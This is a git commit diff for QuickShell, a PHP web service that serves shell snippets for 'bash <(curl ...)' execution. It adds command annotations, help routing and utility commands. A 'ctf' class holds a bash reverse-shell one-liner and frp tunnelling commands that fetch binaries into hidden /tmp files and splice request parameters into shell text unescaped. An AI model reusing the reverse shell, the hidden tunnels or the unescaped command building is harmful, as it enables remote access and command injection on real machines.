update to 1.0.0

This commit is contained in:
crazywhalecc 2022-05-28 07:25:25 +08:00
parent 147c2e3b59
commit 572e0845b1
13 changed files with 617 additions and 74 deletions

View File

@ -3,11 +3,10 @@
"description": "Run Shell Scripts as Fast as Possible",
"minimum-stability": "stable",
"license": "Apache-2.0",
"version": "1.0.0",
"type": "project",
"prefer-stable": true,
"require": {
"php": ">=7.4",
"php": ">=8.0",
"zhamao/framework": "^2.4",
"ext-json": "*"
},

View File

@ -4,6 +4,8 @@
declare(strict_types=1);
$config = [];
/* bind host */
$config['host'] = '127.0.0.1';
@ -11,7 +13,7 @@ $config['host'] = '127.0.0.1';
$config['port'] = 30001;
/* 框架开到公网或外部的HTTP访问链接通过 DataProvider::getFrameworkLink() 获取 */
$config['http_reverse_link'] = 'http://shell.zhamao.xin/';
$config['http_reverse_link'] = 'http://shell.zhamao.xin';
/* 框架是否启动debug模式当debug模式为true时启用热更新需要安装inotify扩展 */
$config['debug_mode'] = false;
@ -28,7 +30,7 @@ $config['crash_dir'] = $config['zm_data'] . 'crash/';
/* 对应swoole的server->set参数 */
$config['swoole'] = [
'log_file' => $config['crash_dir'] . 'swoole_error.log',
// 'worker_num' => swoole_cpu_num(), //如果你只有一个 OneBot 实例连接到框架并且代码没有复杂的CPU密集计算则可把这里改为1使用全局变量
'worker_num' => 1, //如果你只有一个 OneBot 实例连接到框架并且代码没有复杂的CPU密集计算则可把这里改为1使用全局变量
'dispatch_mode' => 2, // 包分配原则,见 https://wiki.swoole.com/#/server/setting?id=dispatch_mode
'max_coroutine' => 300000,
'max_wait_time' => 5,

View File

@ -0,0 +1,43 @@
<?php /** @noinspection PhpLanguageLevelInspection */
namespace QuickShell\Annotations;
use Attribute;
use Doctrine\Common\Annotations\Annotation\NamedArgumentConstructor;
use Doctrine\Common\Annotations\Annotation\Required;
use Doctrine\Common\Annotations\Annotation\Target;
use ZM\Annotation\AnnotationBase;
use ZM\Annotation\Interfaces\CustomAnnotation;
use ZM\Annotation\Interfaces\Level;
/**
* @Annotation
* @Target("ALL")
* @NamedArgumentConstructor()
*/
#[Attribute(Attribute::TARGET_ALL | Attribute::IS_REPEATABLE)]
class Command extends AnnotationBase implements CustomAnnotation
{
/**
* @var string
* @Required()
*/
public string $name;
/**
* @var string
*/
public string $description = '';
/**
* @var string
*/
public string $alias = '';
public function __construct(string $name, string $description = '', string $alias = '')
{
$this->name = $name;
$this->description = $description;
$this->alias = $alias;
}
}

View File

@ -0,0 +1,46 @@
<?php
namespace QuickShell\Annotations;
use Attribute;
use Doctrine\Common\Annotations\Annotation\NamedArgumentConstructor;
use ZM\Annotation\AnnotationBase;
use ZM\Annotation\Interfaces\CustomAnnotation;
/**
* @Annotation
* @Target("METHOD")
* @NamedArgumentConstructor()
*/
#[Attribute(Attribute::IS_REPEATABLE | Attribute::TARGET_METHOD)]
class CommandArgument extends AnnotationBase implements CustomAnnotation
{
/**
* @var string
* @Required()
*/
public string $argument_name;
/**
* @var string
*/
public string $description = '';
/**
* @var bool
*/
public bool $one_argument = false;
/**
* @var bool
*/
public bool $allow_empty = false;
public function __construct(string $argument_name, string $description = '', bool $one_argument = false, bool $allow_empty = false)
{
$this->argument_name = $argument_name;
$this->description = $description;
$this->one_argument = $one_argument;
$this->allow_empty = $allow_empty;
}
}

View File

@ -0,0 +1,34 @@
<?php
namespace QuickShell\Annotations;
use Attribute;
use Doctrine\Common\Annotations\Annotation\NamedArgumentConstructor;
use Doctrine\Common\Annotations\Annotation\Required;
use Doctrine\Common\Annotations\Annotation\Target;
use ZM\Annotation\AnnotationBase;
use ZM\Annotation\Interfaces\CustomAnnotation;
use ZM\Annotation\Interfaces\ErgodicAnnotation;
/**
* @Annotation
* @Target("CLASS")
* @NamedArgumentConstructor()
*/
#[Attribute(Attribute::IS_REPEATABLE | Attribute::TARGET_CLASS)]
class CommandCategory extends AnnotationBase implements CustomAnnotation, ErgodicAnnotation
{
/**
* @var string
* @Required()
*/
public string $category;
public string $description = '';
public function __construct(string $category, string $description = '')
{
$this->category = $category;
$this->description = $description;
}
}

View File

@ -0,0 +1,41 @@
<?php /** @noinspection PhpLanguageLevelInspection */
namespace QuickShell\Annotations;
use Attribute;
use Doctrine\Common\Annotations\Annotation\NamedArgumentConstructor;
use Doctrine\Common\Annotations\Annotation\Target;
use ZM\Annotation\AnnotationBase;
use ZM\Annotation\Interfaces\CustomAnnotation;
/**
* @Annotation
* @Target("METHOD")
* @NamedArgumentConstructor()
*/
#[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)]
class CommandOption extends AnnotationBase implements CustomAnnotation
{
/**
* @var string
* @Required()
*/
public string $option_name;
/**
* @var string
*/
public string $description = '';
/**
* @var bool
*/
public bool $required = false;
public function __construct(string $option_name, string $description = '', bool $required = false)
{
$this->option_name = $option_name;
$this->description = $description;
$this->required = $required;
}
}

View File

@ -0,0 +1,111 @@
<?php
namespace QuickShell\Commands;
use QuickShell\Annotations\Command;
use QuickShell\Annotations\CommandArgument;
use QuickShell\Annotations\CommandCategory;
use QuickShell\Annotations\CommandOption;
#[CommandCategory('ctf', 'CTF工具库')]
class CTFCommand
{
#[Command(name: 'reverse_shell', description: '使用bash反弹shell提供一个目标的IP和TCP端口即可', alias: 'revshell')]
#[CommandArgument(argument_name: 'ip', description: '目标IP')]
#[CommandArgument(argument_name: 'port', description: '目标端口')]
public function reverseShell(array $params)
{
return cmd('bash -i >& /dev/tcp/' . escapeshellarg($params['ip']) . '/' . intval($params['port']) . ' 0>&1 || { echo -e "\033[31mConnection failed, please check target listen port accessibility\033[0m "; false; }');
}
#[Command(name: 'frpc', description: '快速使用frpc代理一个内网穿透一个端口提供一个目标的IP和TCP端口即可')]
#[CommandArgument(argument_name: 'remote_addr', description: 'frps的服务器IP:端口')]
#[CommandArgument(argument_name: 'local_ip', description: '本地监听IP')]
#[CommandArgument(argument_name: 'local_port', description: '本地监听端口')]
#[CommandArgument(argument_name: 'remote_port', description: '目标端口')]
#[CommandOption(option_name: 'type', description: '链接类型tcp或udp', required: true)]
#[CommandOption(option_name: 'token', description: 'frps连接的token', required: true)]
public function frpc(array $params): string
{
$cmd = <<<CMD
case \$(uname -s) in
Linux) mysys="linux" ;;
Darwin) mysys="darwin" ;;
*)
echo "Unsupported OS"
exit 1
;;
esac
case \$(uname -m) in
x86_64) myarch=amd64 ;;
aarch64) myarch=arm64 ;;
*)
echo "Unsupported arch"
exit 1
;;
esac
if [ ! -f "/tmp/.qs_frpc" ]; then
echo "sys: \$mysys"
link="https://hub.fastgit.xyz/fatedier/frp/releases/download/v0.43.0/frp_0.43.0_\${mysys}_\${myarch}.tar.gz"
echo "Downloading frp from \$link"
curl \$link -o /tmp/frp.tgz -L && \
cd /tmp && \
tar -xzvf frp.tgz && \
rm frp.tgz && \
mv frp_0.43.0_\${mysys}_\${myarch}/frpc .qs_frpc && \
rm -rf frp_0.43.0_\${mysys}_\${myarch}
fi
/tmp/.qs_frpc {use_type} -r {remote_port} -i {local_ip} -l {local_port} -s {remote_addr} {use_token}
CMD;
$cmd = str_replace('{use_type}', $params['type'] === null ? 'tcp' : 'udp', $cmd);
$cmd = str_replace('{remote_addr}', $params['remote_addr'], $cmd);
$cmd = str_replace('{local_ip}', $params['local_ip'], $cmd);
$cmd = str_replace('{local_port}', $params['local_port'], $cmd);
$cmd = str_replace('{remote_port}', $params['remote_port'], $cmd);
$cmd = str_replace('{use_token}', $params['token'] ? '-t ' . $params['token'] : '', $cmd);
return cmd($cmd);
}
#[Command(name: 'frps', description: '快速启动一个frps内网穿透服务器')]
#[CommandOption(option_name: 'bind_addr', description: 'frps的服务器监听的地址', required: true)]
#[CommandOption(option_name: 'bind_port', description: 'frps的服务器监听的端口', required: true)]
#[CommandOption(option_name: 'token', description: 'frps连接的token', required: true)]
public function frps(array $params)
{
$cmd = <<<CMD
case \$(uname -s) in
Linux) mysys="linux" ;;
Darwin) mysys="darwin" ;;
*)
echo "Unsupported OS"
exit 1
;;
esac
case \$(uname -m) in
x86_64) myarch=amd64 ;;
aarch64) myarch=arm64 ;;
*)
echo "Unsupported arch"
exit 1
;;
esac
if [ ! -f "/tmp/.qs_frps" ]; then
echo "sys: \$mysys"
link="https://hub.fastgit.xyz/fatedier/frp/releases/download/v0.43.0/frp_0.43.0_\${mysys}_\${myarch}.tar.gz"
echo "Downloading frp from \$link"
curl \$link -o /tmp/frp.tgz -L && \
cd /tmp && \
tar -xzvf frp.tgz && \
rm frp.tgz && \
mv frp_0.43.0_\${mysys}_\${myarch}/frps .qs_frps && \
rm -rf frp_0.43.0_\${mysys}_\${myarch}
fi
/tmp/.qs_frps {use_bind_addr} {use_bind_port} {use_token}
CMD;
$cmd = str_replace('{use_bind_addr}', $params['bind_addr'], $cmd);
$cmd = str_replace('{use_bind_addr}', $params['bind_addr'] !== null ? ('--bind-addr ' . $params['bind_addr']) : '', $cmd);
$cmd = str_replace('{use_bind_port}', $params['bind_port'] !== null ? ('-p ' . $params['bind_port']) : '', $cmd);
$cmd = str_replace('{use_token}', $params['token'] !== null ? ('-t ' . $params['token']) : '', $cmd);
return cmd($cmd);
}
}

View File

@ -0,0 +1,20 @@
<?php /** @noinspection PhpPureAttributeCanBeAddedInspection */
namespace QuickShell\Commands;
use QuickShell\Annotations\Command;
class ExampleCommand
{
#[Command(name: 'neofetch', description: '在线运行neofetch')]
public function neofetch(): string
{
return cmd("bash <(curl -H \"User-Agent: Chrome\" -s https://gitee.com/mirrors/neofetch/raw/master/neofetch)");
}
#[Command('ip', '获取IP', '地址')]
public function ip(): string
{
return cmd("curl -s http://ip.zhamao.xin");
}
}

View File

@ -0,0 +1,78 @@
<?php
namespace QuickShell\Commands;
use QuickShell\Annotations\Command;
use QuickShell\Annotations\CommandArgument;
use QuickShell\QuickShellProvider;
use ReflectionClass;
use ReflectionException;
use ZM\Config\ZMConfig;
use ZM\Console\Console;
class HelpCommand
{
public static function getHelpTemplate(): string
{
$response = "QuickShell ".Console::setColor(QUICK_SHELL_VERSION, 'green')."\n\n";
$response .= "支持的命令:\n";
$response .= "\t" . implode("\n\t", QuickShellProvider::getInstance()->getShellList());
$response .= "\n\n\t" . Console::setColor('help/{命令名}', "yellow") . ":\t查看对应的命令详情";
$response .= "\n使用方法:\n\t在路径右方填入要使用的名称即可.";
$response .= "\n\t输入右侧命令\tbash <(curl -s " . ZMConfig::get('global')['http_reverse_link'] . "/{name})";
$response .= "\n\t使用例子\tbash <(curl -s " . ZMConfig::get('global')['http_reverse_link'] . "/neofetch)";
return $response;
}
/**
* @throws ReflectionException
*/
#[Command('help', '查看帮助', alias: 'h')]
#[CommandArgument('command', description: '查看指定命令的帮助信息', one_argument: true, allow_empty: true)]
public function defaultCommand(array $params): string
{
zm_dump(QuickShellProvider::$shells);
$name = trim($params['command'], '/');
if ($name === '') {
return rawtext(self::getHelpTemplate());
}
if (isset(QuickShellProvider::$shells[$name])) {
$event = QuickShellProvider::$shells[$name]['command'];
$reflection = new ReflectionClass($event->class);
$method = $reflection->getMethod($event->method);
$cmd = $method->getNumberOfRequiredParameters() === 0 ? $method->invoke($reflection->newInstance()) : '(* 此命令需要参数,如需查看源码,使用/showcode/'.$name.' *)';
$reply = Console::setColor($event->name, 'green') . ":";
$reply .= "\n\t要执行的命令:\t" . $cmd;
return rawtext($reply);
}
return rawtext('命令不存在: ' . $name);
}
/**
* @throws ReflectionException
*/
#[Command('showcode')]
#[CommandArgument('command', description: '查看指定命令的源码', one_argument: true, allow_empty: true)]
public function helpCommandCode(array $params): string
{
zm_dump(QuickShellProvider::$shells);
$name = trim($params['command'], '/');
if ($name === '') {
return rawtext('请在后方输入命令名称再试!');
}
if (isset(QuickShellProvider::$shells[$name])) {
$event = QuickShellProvider::$shells[$name]['command'];
$reflection = new ReflectionClass($event->class);
$method = $reflection->getMethod($event->method);
$file = file_get_contents($method->getFileName());
$file = str_replace("\r", '', $file);
$file = explode("\n", $file);
$fileline = [];
for ($i = $method->getStartLine() - 1; $i < $method->getEndLine(); $i++) {
$fileline[] = $file[$i];
}
return rawtext(implode("\n", $fileline), false);
}
return rawtext('命令不存在: ' . $name);
}
}

View File

@ -0,0 +1,38 @@
<?php
namespace QuickShell\Commands;
use QuickShell\Annotations\Command;
class SpeedtestCommand
{
#[Command(name: 'speedtest', description: '在线运行ookla/speedtest网速测试')]
public function speedtest(): string
{
$cmd = <<<CMD
case \$(uname -s) in
Linux) mysys="linux" ;;
Darwin) mysys="macosx" ;;
*)
echo "Unsupported OS"
exit 1
;;
esac
myarch=\$(uname -m)
if [ "\$mysys" = "macosx" ]; then
myarch="x86_64"
fi
if [ ! -f "/tmp/.qs_speedtest" ]; then
link="https://install.speedtest.net/app/cli/ookla-speedtest-1.1.1-\${mysys}-\${myarch}.tgz"
echo "Downloading frp from \$link"
curl \$link -o /tmp/speedtest.tgz -L && \
cd /tmp && \
tar -xzvf speedtest.tgz && \
rm speedtest.tgz && \
mv speedtest .qs_speedtest
fi
/tmp/.qs_speedtest
CMD;
return cmd($cmd);
}
}

View File

@ -2,77 +2,39 @@
namespace QuickShell;
use ZM\Annotation\Http\Controller;
use ZM\Annotation\Http\RequestMapping;
use QuickShell\Annotations\Command;
use Swoole\Http\Request;
use ZM\Annotation\Swoole\OnRequestEvent;
use ZM\Config\ZMConfig;
use ZM\Annotation\Swoole\OnStart;
use ZM\Event\EventDispatcher;
use ZM\Exception\InterruptException;
/**
* @Controller("/")
*/
class QuickShellController
{
/**
* @RequestMapping("/manifest")
*/
public function manifest()
#[OnStart(-1)]
public function onStart()
{
return json_encode(ZMConfig::get('shell_list'), 128|256);
// 启动后的预处理
QuickShellProvider::getInstance()->generateCommandList();
}
#[OnRequestEvent(rule: "true")]
public function onRequest(Request $request)
{
// 寻找匹配的Command注解函数
list($cmd, $params) = QuickShellProvider::getInstance()->matchCommand($request->server['request_uri'], ctx()->getRequest()->get ?? []);
/** @var Command $cmd */
$dispatcher = new EventDispatcher(Command::class);
$dispatcher->dispatchEvent($cmd, null, $params);
ctx()->getResponse()->end($dispatcher->store ?? '');
}
/**
* @RequestMapping("/")
* @RequestMapping("/index")
* @RequestMapping("/list")
*/
public function index()
{
$response = implode("\n", QuickShellProvider::getInstance()->getShellList()) . PHP_EOL;
$response .= "普通执行:\tcurl -s http://shell.zhamao.xin/run/{name} | bash" . PHP_EOL;
$response .= "交互执行:\tbash <(curl -s http://shell.zhamao.xin/run/{name})" . PHP_EOL;
return $response;
}
/**
* @RequestMapping("/test")
* @return string
*/
public function test()
{
return cmd('bash -c "$(curl -fsSL https://api.zhamao.xin/tools/env.sh)"');
}
/**
* @RequestMapping("/run")
*/
public function runHelp()
{
return cmd('echo ""');
}
/**
* @RequestMapping("/run/{name}")
*
* @param $param
* @return string
*/
public function run($param): string
{
$shell = QuickShellProvider::getInstance()->isShellExists($param['name']);
if (!$shell) {
return cmd("echo 'shell \"".$param['name']."\" not found'");
}
return cmd(QuickShellProvider::getInstance()->getShellCommand($param['name']));
}
/**
* 阻止 Chrome 自动请求 /favicon.ico 导致的多条请求并发和干扰
* @OnRequestEvent(rule="ctx()->getRequest()->server['request_uri'] == '/favicon.ico'",level=200)
* @throws InterruptException
*/
public function onRequest()
#[OnRequestEvent(rule: "ctx()->getRequest()->server['request_uri'] === '/favicon.ico'", level: 200)]
public function onBanFavicon()
{
EventDispatcher::interrupt();
}

View File

@ -2,34 +2,192 @@
namespace QuickShell;
use ZM\Config\ZMConfig;
use QuickShell\Annotations\Command;
use QuickShell\Annotations\CommandArgument;
use QuickShell\Annotations\CommandCategory;
use QuickShell\Annotations\CommandOption;
use QuickShell\Commands\HelpCommand;
use ZM\Console\Console;
use ZM\Event\EventDispatcher;
use ZM\Event\EventManager;
use ZM\Event\EventMapIterator;
use ZM\Exception\InterruptException;
use ZM\Utils\SingletonTrait;
class QuickShellProvider
{
use SingletonTrait;
const RESERVED_COMMANDS = ['help'];
public static array $shells = [];
public static array $shell_alias = [];
/**
* 返回所有命令的帮助列表
* @return array
*/
public function getShellList(): array
{
$ls = [];
foreach (ZMConfig::get('shell_list') as $shell_name => $shell_class) {
$ls[] = Console::setColor($shell_name, 'green') . ":\t" . $shell_class['description'];
$max_len = 0;
foreach (self::$shells as $shell => $v) {
$line = Console::setColor($shell, 'green') . ": ";
if ($max_len < mb_strwidth($shell . ": ")) $max_len = mb_strwidth($shell . ": ");
$description = $v['command']->description ?: '暂无描述';
$len = mb_strwidth($shell . ": ");
$ls[] = [$line, $len, $description];
}
return $ls;
foreach ($ls as $k => $v) {
$ls[$k][0] = $v[0] . str_repeat(' ', $max_len - $v[1]);
}
public function isShellExists($name)
{
return array_key_exists($name, ZMConfig::get('shell_list'));
return array_map(function ($x) {
return $x[0] . $x[2];
}, $ls);
}
public function getShellCommand($name)
/**
* 输入uri输出匹配的command注解事件
* @param string $uri
* @param array $get
* @return array
* @throws InterruptException
*/
public function matchCommand(string $uri, array $get): array
{
$d = ZMConfig::get('shell_list')[$name]['command'] ?? null;
if ($d === null) {
return 'echo "command not found"';
}
return $d;
$has_right_slash = mb_substr($uri, -1, 1) === '/';
// 去除两端的斜杠
$origin_uri = $uri = trim($uri, '/');
$input_params = $get;
$cmd = null;
foreach (self::$shells as $k => $v) {
if (mb_strpos($uri . '/', $k . '/') === 0) { // 右侧加盖防止匹配到短名称误匹配
$cmd = $k;
$uri = trim(mb_substr($uri, mb_strlen($cmd)), '/');
break;
}
}
foreach (self::$shell_alias as $k => $v) {
if (mb_strpos($uri . '/', $k . '/') === 0) { // 右侧加盖防止匹配到短名称误匹配
$cmd = $v;
$uri = trim(mb_substr($uri, mb_strlen($k)), '/');
break;
}
}
if ($cmd !== null) {
// 接下来解析参数
$args = [];
foreach (self::$shells[$cmd]['arguments'] as $arg) {
/** @var CommandArgument $arg */
if ($arg->one_argument) { // 如果后面的作为统一参数则直接返回结果无视CommandOption和后面的所有CommandArgument
if ($arg->allow_empty || $uri !== '') {
return [self::$shells[$cmd]['command'], [$arg->argument_name => urldecode($uri) . ($has_right_slash ? '/' : '')]];
} else {
ctx()->getResponse()->end(rawtext('命令 ' . $cmd . ' 参数 ' . $arg->argument_name . ' 为必需参数,不可为空!' . PHP_EOL . $this->generateHelpArgument($cmd)));
throw new InterruptException();
}
} else { // 如果必需但参数单一则shift一个参数
if ($uri === '') {
ctx()->getResponse()->end(rawtext('命令 ' . $cmd . ' 参数 ' . $arg->argument_name . ' 为必需参数,不可为空!' . PHP_EOL . $this->generateHelpArgument($cmd)));
throw new InterruptException();
}
$uri .= '/';
$arg_value = mb_substr($uri, 0, mb_strpos($uri, '/')); // 右侧加盖防止匹配不到或匹配出现错误
$uri = rtrim(mb_substr($uri, mb_strpos($uri, '/') + 1), '/'); // 下一个参数
$args[$arg->argument_name] = $arg_value;
}
}
$divide = explode('/', $uri);
foreach ($divide as $vs) {
if ($vs === '') continue;
$ss = explode("=", $vs);
if ($ss[0] === '') continue;
$input_params[$ss[0]] = $ss[1] ?? '';
}
foreach (self::$shells[$cmd]['options'] as $obj) {
if ($obj->required === false) {
$args[$obj->option_name] = isset($input_params[$obj->option_name]);
} else {
if (isset($input_params[$obj->option_name])) {
if ($input_params[$obj->option_name] === '') {
ctx()->getResponse()->end(rawtext('命令 ' . $cmd . ' 参数 ' . $obj->option_name . ' 不能为空'));
EventDispatcher::interrupt();
} else {
$args[$obj->option_name] = urldecode($input_params[$obj->option_name]);
}
} else {
$args[$obj->option_name] = null;
}
}
}
return [self::$shells[$cmd]['command'], $args];
}
ctx()->getResponse()->end(rawtext($origin_uri !== '' ? ('无法匹配此快捷命令: ' . $origin_uri) : HelpCommand::getHelpTemplate()));
throw new InterruptException;
}
/*
ctf/asd/ihui/
ctf/asd/
ctf/asdasdasd/
help/isi/
* */
/**
* 启动前生成每个进程下的命令缓存,避免每次请求都要遍历所有的注解来找命令
*/
public function generateCommandList()
{
foreach ((EventManager::$events[Command::class] ?? []) as $command) {
/** @var Command $command */
// 将category和命令名称结合组成真正的名称
$name = trim($command->name, '/');
$category_store = null;
foreach ((new EventMapIterator($command->class, $command->method, CommandCategory::class)) as $category) {
/** @var CommandCategory $category */
if ($category->category !== '') {
$category_store = $category->category;
$name = trim($category->category, '/') . '/' . $name;
break;
}
}
// 缓存arguments
$arguments = [];
foreach ((new EventMapIterator($command->class, $command->method, CommandArgument::class)) as $argument) {
/** @var CommandArgument $argument */
$arguments[] = $argument;
}
// 缓存options
$options = [];
foreach ((new EventMapIterator($command->class, $command->method, CommandOption::class)) as $option) {
/** @var CommandOption $option */
$options[] = $option;
}
// 缓存command
self::$shells[$name] = [
'category' => $category_store,
'command' => $command,
'arguments' => $arguments,
'options' => $options,
];
if ($command->alias !== '') {
$alias_name = $category_store !== null ? trim($category_store, '/') . '/' . $command->alias : $command->alias;
self::$shell_alias[$alias_name] = $name;
}
}
}
private function generateHelpArgument(string $cmd)
{
$arg = Console::setColor($cmd . ' 命令参数指引', 'yellow') . ': ' . PHP_EOL . "\t$cmd";
foreach (self::$shells[$cmd]['arguments'] as $argument) {
/** @var CommandArgument $argument */;
$arg .= '/' . Console::setColor('{' . $argument->argument_name . '}', 'green');
}
return $arg;
}
}

View File

@ -1,6 +1,17 @@
<?php
const QUICK_SHELL_VERSION = '1.0.0';
function cmd($cmd): string
{
return $cmd . PHP_EOL;
}
function rawtext($text, $execution = true): string
{
$lines = [];
foreach (explode(PHP_EOL, $text) as $line) {
$lines[] = "echo" . ($execution ? ' -e' : '') . " " . escapeshellarg($line);
}
return implode(" ;\n", $lines) . PHP_EOL;
}